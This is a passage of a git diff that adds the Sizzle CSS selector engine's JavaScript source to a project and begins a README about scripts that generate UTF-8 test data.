"sizcache" + (Math.random() + '').replace('.', ''), + done = 0, + toString = Object.prototype.toString, + hasDuplicate = false, + baseHasDuplicate = true, + rBackslash = /\\/g, + rReturn = /\r\n/g, + rNonWord = /\W/; + +// Here we check if the JavaScript engine is using some sort of +// optimization where it does not always call our comparision +// function. If that is the case, discard the hasDuplicate value. +// Thus far that includes Google Chrome. +[0, 0].sort(function() { + baseHasDuplicate = false; + return 0; +}); + +var Sizzle = function( selector, context, results, seed ) { + results = results || []; + context = context || document; + + var origContext = context; + + if ( context.nodeType !== 1 && context.nodeType !== 9 ) { + return []; + } + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + var m, set, checkSet, extra, ret, cur, pop, i, + prune = true, + contextXML = Sizzle.isXML( context ), + parts = [], + soFar = selector; + + // Reset the position of the chunker regexp (start from head) + do { + chunker.exec( "" ); + m = chunker.exec( soFar ); + + if ( m ) { + soFar = m[3]; + + parts.push( m[1] ); + + if ( m[2] ) { + extra = m[3]; + break; + } + } + } while ( m ); + + if ( parts.length > 1 && origPOS.exec( selector ) ) { + + if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { + set = posProcess( parts[0] + parts[1], context, seed ); + + } else { + set = Expr.relative[ parts[0] ] ? + [ context ] : + Sizzle( parts.shift(), context ); + + while ( parts.length ) { + selector = parts.shift(); + + if ( Expr.relative[ selector ] ) { + selector += parts.shift(); + } + + set = posProcess( selector, set, seed ); + } + } + + } else { + // Take a shortcut and set the context if the root selector is an ID + // (but not if it'll be faster if the inner selector is an ID) + if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && + Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { + + ret = Sizzle.find( parts.shift(), context, contextXML ); + context = ret.expr ? + Sizzle.filter( ret.expr, ret.set )[0] : + ret.set[0]; + } + + if ( context ) { + ret = seed ? + { expr: parts.pop(), set: makeArray(seed) } : + Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); + + set = ret.expr ? + Sizzle.filter( ret.expr, ret.set ) : + ret.set; + + if ( parts.length > 0 ) { + checkSet = makeArray( set ); + + } else { + prune = false; + } + + while ( parts.length ) { + cur = parts.pop(); + pop = cur; + + if ( !Expr.relative[ cur ] ) { + cur = ""; + } else { + pop = parts.pop(); + } + + if ( pop == null ) { + pop = context; + } + + Expr.relative[ cur ]( checkSet, pop, contextXML ); + } + + } else { + checkSet = parts = []; + } + } + + if ( !checkSet ) { + checkSet = set; + } + + if ( !checkSet ) { + Sizzle.error( cur || selector ); + } + + if ( toString.call(checkSet) === "[object Array]" ) { + if ( !prune ) { + results.push.apply( results, checkSet ); + + } else if ( context && context.nodeType === 1 ) { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { + results.push( set[i] ); + } + } + + } else { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && checkSet[i].nodeType === 1 ) { + results.push( set[i] ); + } + } + } + + } else { + makeArray( checkSet, results ); + } + + if ( extra ) { + Sizzle( extra, origContext, results, seed ); + Sizzle.uniqueSort( results ); + } + + return results; +}; + +Sizzle.uniqueSort = function( results ) { + if ( sortOrder ) { + hasDuplicate = baseHasDuplicate; + results.sort( sortOrder ); + + if ( hasDuplicate ) { + for ( var i = 1; i < results.length; i++ ) { + if ( results[i] === results[ i - 1 ] ) { + results.splice( i--, 1 ); + } + } + } + } + + return results; +}; + +Sizzle.matches = function( expr, set ) { + return Sizzle( expr, null, null, set ); +}; + +Sizzle.matchesSelector = function( node, expr ) { + return Sizzle( expr, null, null, [node] ).length > 0; +}; + +Sizzle.find = function( expr, context, isXML ) { + var set, i, len, match, type, left; + + if ( !expr ) { + return []; + } + + for ( i = 0, len = Expr.order.length; i < len; i++ ) { + type = Expr.order[i]; + + if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { + left = match[1]; + match.splice( 1, 1 ); + + if ( left.substr( left.length - 1 ) !== "\\" ) { + match[1] = (match[1] || "").replace( rBackslash, "" ); + set = Expr.find[ type ]( match, context, isXML ); + + if ( set != null ) { + expr = expr.replace( Expr.match[ type ], "" ); + break; + } + } + } + } + + if ( !set ) { + set = typeof context.getElementsByTagName !== "undefined" ? + context.getElementsByTagName( "*" ) : + []; + } + + return { set: set, expr: expr }; +}; + +Sizzle.filter = function( expr, set, inplace, not ) { + var match, anyFound, + type, found, item, filter, left, + i, pass, + old = expr, + result = [], + curLoop = set, + isXMLFilter = set && set[0] && Sizzle.isXML( set[0] ); + + while ( expr && set.length ) { + for ( type in Expr.filter ) { + if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { + filter = Expr.filter[ type ]; + left = match[1]; + + anyFound = false; + + match.splice(1,1); + + if ( left.substr( left.length - 1 ) === "\\" ) { + continue; + } + + if ( curLoop === result ) { + result = []; + } + + if ( Expr.preFilter[ type ] ) { + match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); + + if ( !match ) { + anyFound = found = true; + + } else if ( match === true ) { + continue; + } + } + + if ( match ) { + for ( i = 0; (item = curLoop[i]) != null; i++ ) { + if ( item ) { + found = filter( item, match, i, curLoop ); + pass = not ^ found; + + if ( inplace && found != null ) { + if ( pass ) { + anyFound = true; + + } else { + curLoop[i] = false; + } + + } else if ( pass ) { + result.push( item ); + anyFound = true; + } + } + } + } + + if ( found !== undefined ) { + if ( !inplace ) { + curLoop = result; + } + + expr = expr.replace( Expr.match[ type ], "" ); + + if ( !anyFound ) { + return []; + } + + break; + } + } + } + + // Improper expression + if ( expr === old ) { + if ( anyFound == null ) { + Sizzle.error( expr ); + + } else { + break; + } + } + + old = expr; + } + + return curLoop; +}; + +Sizzle.error = function( msg ) { + throw new Error( "Syntax error, unrecognized expression: " + msg ); +}; + +/** + * Utility function for retreiving the text value of an array of DOM nodes + * @param {Array|Element} elem + */ +var getText = Sizzle.getText = function( elem ) { + var i, node, + nodeType = elem.nodeType, + ret = ""; + + if ( nodeType ) { + if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { + // Use textContent || innerText for elements + if ( typeof elem.textContent === 'string' ) { + return elem.textContent; + } else if ( typeof elem.innerText === 'string' ) { + // Replace IE's carriage returns + return elem.innerText.replace( rReturn, '' ); + } else { + // Traverse it's children + for ( elem = elem.firstChild; elem; elem = elem.nextSibling) { + ret += getText( elem ); + } + } + } else if ( nodeType === 3 || nodeType === 4 ) { + return elem.nodeValue; + } + } else { + + // If no nodeType, this is expected to be an array + for ( i = 0; (node = elem[i]); i++ ) { + // Do not traverse comment nodes + if ( node.nodeType !== 8 ) { + ret += getText( node ); + } + } + } + return ret; +}; + +var Expr = Sizzle.selectors = { + order: [ "ID", "NAME", "TAG" ], + + match: { + ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, + ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/, + TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, + CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/, + POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, + PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ + }, + + leftMatch: {}, + + attrMap: { + "class": "className", + "for": "htmlFor" + }, + + attrHandle: { + href: function( elem ) { + return elem.getAttribute( "href" ); + }, + type: function( elem ) { + return elem.getAttribute( "type" ); + } + }, + + relative: { + "+": function(checkSet, part){ + var isPartStr = typeof part === "string", + isTag = isPartStr && !rNonWord.test( part ), + isPartStrNotTag = isPartStr && !isTag; + + if ( isTag ) { + part = part.toLowerCase(); + } + + for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { + if ( (elem = checkSet[i]) ) { + while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} + + checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? + elem || false : + elem === part; + } + } + + if ( isPartStrNotTag ) { + Sizzle.filter( part, checkSet, true ); + } + }, + + ">": function( checkSet, part ) { + var elem, + isPartStr = typeof part === "string", + i = 0, + l = checkSet.length; + + if ( isPartStr && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + var parent = elem.parentNode; + checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; + } + } + + } else { + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + checkSet[i] = isPartStr ? + elem.parentNode : + elem.parentNode === part; + } + } + + if ( isPartStr ) { + Sizzle.filter( part, checkSet, true ); + } + } + }, + + "": function(checkSet, part, isXML){ + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML ); + }, + + "~": function( checkSet, part, isXML ) { + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML ); + } + }, + + find: { + ID: function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + return m && m.parentNode ? [m] : []; + } + }, + + NAME: function( match, context ) { + if ( typeof context.getElementsByName !== "undefined" ) { + var ret = [], + results = context.getElementsByName( match[1] ); + + for ( var i = 0, l = results.length; i < l; i++ ) { + if ( results[i].getAttribute("name") === match[1] ) { + ret.push( results[i] ); + } + } + + return ret.length === 0 ? null : ret; + } + }, + + TAG: function( match, context ) { + if ( typeof context.getElementsByTagName !== "undefined" ) { + return context.getElementsByTagName( match[1] ); + } + } + }, + preFilter: { + CLASS: function( match, curLoop, inplace, result, not, isXML ) { + match = " " + match[1].replace( rBackslash, "" ) + " "; + + if ( isXML ) { + return match; + } + + for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { + if ( elem ) { + if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) { + if ( !inplace ) { + result.push( elem ); + } + + } else if ( inplace ) { + curLoop[i] = false; + } + } + } + + return false; + }, + + ID: function( match ) { + return match[1].replace( rBackslash, "" ); + }, + + TAG: function( match, curLoop ) { + return match[1].replace( rBackslash, "" ).toLowerCase(); + }, + + CHILD: function( match ) { + if ( match[1] === "nth" ) { + if ( !match[2] ) { + Sizzle.error( match[0] ); + } + + match[2] = match[2].replace(/^\+|\s*/g, ''); + + // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' + var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec( + match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || + !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); + + // calculate the numbers (first)n+(last) including if they are negative + match[2] = (test[1] + (test[2] || 1)) - 0; + match[3] = test[3] - 0; + } + else if ( match[2] ) { + Sizzle.error( match[0] ); + } + + // TODO: Move to normal caching system + match[0] = done++; + + return match; + }, + + ATTR: function( match, curLoop, inplace, result, not, isXML ) { + var name = match[1] = match[1].replace( rBackslash, "" ); + + if ( !isXML && Expr.attrMap[name] ) { + match[1] = Expr.attrMap[name]; + } + + // Handle if an un-quoted value was used + match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" ); + + if ( match[2] === "~=" ) { + match[4] = " " + match[4] + " "; + } + + return match; + }, + + PSEUDO: function( match, curLoop, inplace, result, not ) { + if ( match[1] === "not" ) { + // If we're dealing with a complex expression, or a simple one + if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { + match[3] = Sizzle(match[3], null, null, curLoop); + + } else { + var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); + + if ( !inplace ) { + result.push.apply( result, ret ); + } + + return false; + } + + } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { + return true; + } + + return match; + }, + + POS: function( match ) { + match.unshift( true ); + + return match; + } + }, + + filters: { + enabled: function( elem ) { + return elem.disabled === false && elem.type !== "hidden"; + }, + + disabled: function( elem ) { + return elem.disabled === true; + }, + + checked: function( elem ) { + return elem.checked === true; + }, + + selected: function( elem ) { + // Accessing this property makes selected-by-default + // options in Safari work properly + if ( elem.parentNode ) { + elem.parentNode.selectedIndex; + } + + return elem.selected === true; + }, + + parent: function( elem ) { + return !!elem.firstChild; + }, + + empty: function( elem ) { + return !elem.firstChild; + }, + + has: function( elem, i, match ) { + return !!Sizzle( match[3], elem ).length; + }, + + header: function( elem ) { + return (/h\d/i).test( elem.nodeName ); + }, + + text: function( elem ) { + var attr = elem.getAttribute( "type" ), type = elem.type; + // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) + // use getAttribute instead to test this case + return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null ); + }, + + radio: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type; + }, + + checkbox: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type; + }, + + file: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "file" === elem.type; + }, + + password: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "password" === elem.type; + }, + + submit: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "submit" === elem.type; + }, + + image: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "image" === elem.type; + }, + + reset: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "reset" === elem.type; + }, + + button: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return name === "input" && "button" === elem.type || name === "button"; + }, + + input: function( elem ) { + return (/input|select|textarea|button/i).test( elem.nodeName ); + }, + + focus: function( elem ) { + return elem === elem.ownerDocument.activeElement; + } + }, + setFilters: { + first: function( elem, i ) { + return i === 0; + }, + + last: function( elem, i, match, array ) { + return i === array.length - 1; + }, + + even: function( elem, i ) { + return i % 2 === 0; + }, + + odd: function( elem, i ) { + return i % 2 === 1; + }, + + lt: function( elem, i, match ) { + return i < match[3] - 0; + }, + + gt: function( elem, i, match ) { + return i > match[3] - 0; + }, + + nth: function( elem, i, match ) { + return match[3] - 0 === i; + }, + + eq: function( elem, i, match ) { + return match[3] - 0 === i; + } + }, + filter: { + PSEUDO: function( elem, match, i, array ) { + var name = match[1], + filter = Expr.filters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + + } else if ( name === "contains" ) { + return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; + + } else if ( name === "not" ) { + var not = match[3]; + + for ( var j = 0, l = not.length; j < l; j++ ) { + if ( not[j] === elem ) { + return false; + } + } + + return true; + + } else { + Sizzle.error( name ); + } + }, + + CHILD: function( elem, match ) { + var first, last, + doneName, parent, cache, + count, diff, + type = match[1], + node = elem; + + switch ( type ) { + case "only": + case "first": + while ( (node = node.previousSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + if ( type === "first" ) { + return true; + } + + node = elem; + + /* falls through */ + case "last": + while ( (node = node.nextSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + return true; + + case "nth": + first = match[2]; + last = match[3]; + + if ( first === 1 && last === 0 ) { + return true; + } + + doneName = match[0]; + parent = elem.parentNode; + + if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) { + count = 0; + + for ( node = parent.firstChild; node; node = node.nextSibling ) { + if ( node.nodeType === 1 ) { + node.nodeIndex = ++count; + } + } + + parent[ expando ] = doneName; + } + + diff = elem.nodeIndex - last; + + if ( first === 0 ) { + return diff === 0; + + } else { + return ( diff % first === 0 && diff / first >= 0 ); + } + } + }, + + ID: function( elem, match ) { + return elem.nodeType === 1 && elem.getAttribute("id") === match; + }, + + TAG: function( elem, match ) { + return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match; + }, + + CLASS: function( elem, match ) { + return (" " + (elem.className || elem.getAttribute("class")) + " ") + .indexOf( match ) > -1; + }, + + ATTR: function( elem, match ) { + var name = match[1], + result = Sizzle.attr ? + Sizzle.attr( elem, name ) : + Expr.attrHandle[ name ] ? + Expr.attrHandle[ name ]( elem ) : + elem[ name ] != null ? + elem[ name ] : + elem.getAttribute( name ), + value = result + "", + type = match[2], + check = match[4]; + + return result == null ? + type === "!=" : + !type && Sizzle.attr ? + result != null : + type === "=" ? + value === check : + type === "*=" ? + value.indexOf(check) >= 0 : + type === "~=" ? + (" " + value + " ").indexOf(check) >= 0 : + !check ? + value && result !== false : + type === "!=" ? + value !== check : + type === "^=" ? + value.indexOf(check) === 0 : + type === "$=" ? + value.substr(value.length - check.length) === check : + type === "|=" ? + value === check || value.substr(0, check.length + 1) === check + "-" : + false; + }, + + POS: function( elem, match, i, array ) { + var name = match[2], + filter = Expr.setFilters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } + } + } +}; + +var origPOS = Expr.match.POS, + fescape = function(all, num){ + return "\\" + (num - 0 + 1); + }; + +for ( var type in Expr.match ) { + Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); + Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); +} +// Expose origPOS +// "global" as in regardless of relation to brackets/parens +Expr.match.globalPOS = origPOS; + +var makeArray = function( array, results ) { + array = Array.prototype.slice.call( array, 0 ); + + if ( results ) { + results.push.apply( results, array ); + return results; + } + + return array; +}; + +// Perform a simple check to determine if the browser is capable of +// converting a NodeList to an array using builtin methods. +// Also verifies that the returned array holds DOM nodes +// (which is not the case in the Blackberry browser) +try { + Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; + +// Provide a fallback method if it does not work +} catch( e ) { + makeArray = function( array, results ) { + var i = 0, + ret = results || []; + + if ( toString.call(array) === "[object Array]" ) { + Array.prototype.push.apply( ret, array ); + + } else { + if ( typeof array.length === "number" ) { + for ( var l = array.length; i < l; i++ ) { + ret.push( array[i] ); + } + + } else { + for ( ; array[i]; i++ ) { + ret.push( array[i] ); + } + } + } + + return ret; + }; +} + +var sortOrder, siblingCheck; + +if ( document.documentElement.compareDocumentPosition ) { + sortOrder = function( a, b ) { + if ( a === b ) { + hasDuplicate = true; + return 0; + } + + if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { + return a.compareDocumentPosition ? -1 : 1; + } + + return a.compareDocumentPosition(b) & 4 ? -1 : 1; + }; + +} else { + sortOrder = function( a, b ) { + // The nodes are identical, we can exit early + if ( a === b ) { + hasDuplicate = true; + return 0; + + // Fallback to using sourceIndex (in IE) if it's available on both nodes + } else if ( a.sourceIndex && b.sourceIndex ) { + return a.sourceIndex - b.sourceIndex; + } + + var al, bl, + ap = [], + bp = [], + aup = a.parentNode, + bup = b.parentNode, + cur = aup; + + // If the nodes are siblings (or identical) we can do a quick check + if ( aup === bup ) { + return siblingCheck( a, b ); + + // If no parents were found then the nodes are disconnected + } else if ( !aup ) { + return -1; + + } else if ( !bup ) { + return 1; + } + + // Otherwise they're somewhere else in the tree so we need + // to build up a full list of the parentNodes for comparison + while ( cur ) { + ap.unshift( cur ); + cur = cur.parentNode; + } + + cur = bup; + + while ( cur ) { + bp.unshift( cur ); + cur = cur.parentNode; + } + + al = ap.length; + bl = bp.length; + + // Start walking down the tree looking for a discrepancy + for ( var i = 0; i < al && i < bl; i++ ) { + if ( ap[i] !== bp[i] ) { + return siblingCheck( ap[i], bp[i] ); + } + } + + // We ended someplace up the tree so do a sibling check + return i === al ? + siblingCheck( a, bp[i], -1 ) : + siblingCheck( ap[i], b, 1 ); + }; + + siblingCheck = function( a, b, ret ) { + if ( a === b ) { + return ret; + } + + var cur = a.nextSibling; + + while ( cur ) { + if ( cur === b ) { + return -1; + } + + cur = cur.nextSibling; + } + + return 1; + }; +} + +// Check to see if the browser returns elements by name when +// querying by getElementById (and provide a workaround) +(function(){ + // We're going to inject a fake input element with a specified name + var form = document.createElement("div"), + id = "script" + (new Date()).getTime(), + root = document.documentElement; + + form.innerHTML = ""; + + // Inject it into the root element, check its status, and remove it quickly + root.insertBefore( form, root.firstChild ); + + // The workaround has to do additional checks after a getElementById + // Which slows things down for other browsers (hence the branching) + if ( document.getElementById( id ) ) { + Expr.find.ID = function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + + return m ? + m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? + [m] : + undefined : + []; + } + }; + + Expr.filter.ID = function( elem, match ) { + var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); + + return elem.nodeType === 1 && node && node.nodeValue === match; + }; + } + + root.removeChild( form ); + + // release memory in IE + root = form = null; +})(); + +(function(){ + // Check to see if the browser returns only elements + // when doing getElementsByTagName("*") + + // Create a fake element + var div = document.createElement("div"); + div.appendChild( document.createComment("") ); + + // Make sure no comments are found + if ( div.getElementsByTagName("*").length > 0 ) { + Expr.find.TAG = function( match, context ) { + var results = context.getElementsByTagName( match[1] ); + + // Filter out possible comments + if ( match[1] === "*" ) { + var tmp = []; + + for ( var i = 0; results[i]; i++ ) { + if ( results[i].nodeType === 1 ) { + tmp.push( results[i] ); + } + } + + results = tmp; + } + + return results; + }; + } + + // Check to see if an attribute returns normalized href attributes + div.innerHTML = ""; + + if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && + div.firstChild.getAttribute("href") !== "#" ) { + + Expr.attrHandle.href = function( elem ) { + return elem.getAttribute( "href", 2 ); + }; + } + + // release memory in IE + div = null; +})(); + +if ( document.querySelectorAll ) { + (function(){ + var oldSizzle = Sizzle, + div = document.createElement("div"), + id = "__sizzle__"; + + div.innerHTML = "

"; + + // Safari can't handle uppercase or unicode characters when + // in quirks mode. + if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { + return; + } + + Sizzle = function( query, context, extra, seed ) { + context = context || document; + + // Only use querySelectorAll on non-XML documents + // (ID selectors don't work in non-HTML documents) + if ( !seed && !Sizzle.isXML(context) ) { + // See if we find a selector to speed up + var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query ); + + if ( match && (context.nodeType === 1 || context.nodeType === 9) ) { + // Speed-up: Sizzle("TAG") + if ( match[1] ) { + return makeArray( context.getElementsByTagName( query ), extra ); + + // Speed-up: Sizzle(".CLASS") + } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) { + return makeArray( context.getElementsByClassName( match[2] ), extra ); + } + } + + if ( context.nodeType === 9 ) { + // Speed-up: Sizzle("body") + // The body element only exists once, optimize finding it + if ( query === "body" && context.body ) { + return makeArray( [ context.body ], extra ); + + // Speed-up: Sizzle("#ID") + } else if ( match && match[3] ) { + var elem = context.getElementById( match[3] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id === match[3] ) { + return makeArray( [ elem ], extra ); + } + + } else { + return makeArray( [], extra ); + } + } + + try { + return makeArray( context.querySelectorAll(query), extra ); + } catch(qsaError) {} + + // qSA works strangely on Element-rooted queries + // We can work around this by specifying an extra ID on the root + // and working up from there (Thanks to Andrew Dupont for the technique) + // IE 8 doesn't work on object elements + } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { + var oldContext = context, + old = context.getAttribute( "id" ), + nid = old || id, + hasParent = context.parentNode, + relativeHierarchySelector = /^\s*[+~]/.test( query ); + + if ( !old ) { + context.setAttribute( "id", nid ); + } else { + nid = nid.replace( /'/g, "\\$&" ); + } + if ( relativeHierarchySelector && hasParent ) { + context = context.parentNode; + } + + try { + if ( !relativeHierarchySelector || hasParent ) { + return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra ); + } + + } catch(pseudoError) { + } finally { + if ( !old ) { + oldContext.removeAttribute( "id" ); + } + } + } + } + + return oldSizzle(query, context, extra, seed); + }; + + for ( var prop in oldSizzle ) { + Sizzle[ prop ] = oldSizzle[ prop ]; + } + + // release memory in IE + div = null; + })(); +} + +(function(){ + var html = document.documentElement, + matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector; + + if ( matches ) { + // Check to see if it's possible to do matchesSelector + // on a disconnected node (IE 9 fails this) + var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ), + pseudoWorks = false; + + try { + // This should fail with an exception + // Gecko does not error, returns false instead + matches.call( document.documentElement, "[test!='']:sizzle" ); + + } catch( pseudoError ) { + pseudoWorks = true; + } + + Sizzle.matchesSelector = function( node, expr ) { + // Make sure that attribute selectors are quoted + expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']"); + + if ( !Sizzle.isXML( node ) ) { + try { + if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) { + var ret = matches.call( node, expr ); + + // IE 9's matchesSelector returns false on disconnected nodes + if ( ret || !disconnectedMatch || + // As well, disconnected nodes are said to be in a document + // fragment in IE 9, so check for that + node.document && node.document.nodeType !== 11 ) { + return ret; + } + } + } catch(e) {} + } + + return Sizzle(expr, null, null, [node]).length > 0; + }; + } +})(); + +(function(){ + var div = document.createElement("div"); + + div.innerHTML = "
"; + + // Opera can't find a second classname (in 9.6) + // Also, make sure that getElementsByClassName actually exists + if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { + return; + } + + // Safari caches class attributes, doesn't catch changes (in 3.2) + div.lastChild.className = "e"; + + if ( div.getElementsByClassName("e").length === 1 ) { + return; + } + + Expr.order.splice(1, 0, "CLASS"); + Expr.find.CLASS = function( match, context, isXML ) { + if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { + return context.getElementsByClassName(match[1]); + } + }; + + // release memory in IE + div = null; +})(); + +function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 && !isXML ){ + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( elem.nodeName.toLowerCase() === cur ) { + match = elem; + break; + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 ) { + if ( !isXML ) { + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( typeof cur !== "string" ) { + if ( elem === cur ) { + match = true; + break; + } + + } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { + match = elem; + break; + } + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +if ( document.documentElement.contains ) { + Sizzle.contains = function( a, b ) { + return a !== b && (a.contains ? a.contains(b) : true); + }; + +} else if ( document.documentElement.compareDocumentPosition ) { + Sizzle.contains = function( a, b ) { + return !!(a.compareDocumentPosition(b) & 16); + }; + +} else { + Sizzle.contains = function() { + return false; + }; +} + +Sizzle.isXML = function( elem ) { + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; + + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +var posProcess = function( selector, context, seed ) { + var match, + tmpSet = [], + later = "", + root = context.nodeType ? [context] : context; + + // Position selectors must be done after the filter + // And so must :not(positional) so we move all PSEUDOs to the end + while ( (match = Expr.match.PSEUDO.exec( selector )) ) { + later += match[0]; + selector = selector.replace( Expr.match.PSEUDO, "" ); + } + + selector = Expr.relative[selector] ? selector + "*" : selector; + + for ( var i = 0, l = root.length; i < l; i++ ) { + Sizzle( selector, root[i], tmpSet, seed ); + } + + return Sizzle.filter( later, tmpSet ); +}; + +// EXPOSE + +window.Sizzle = Sizzle; + +})(); \ No newline at end of file diff --git a/tests/data/formatting/utf-8/README b/tests/data/formatting/utf-8/README new file mode 100644 index 0000000000..5bc6a317d3 --- /dev/null +++ b/tests/data/formatting/utf-8/README @@ -0,0 +1,15 @@ +The Python scripts are for generating test data, because Python's Unicode +support is much, much, much, much better than PHP's. + + * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8 + into a few different formats (%-encoding, %u-encoding, 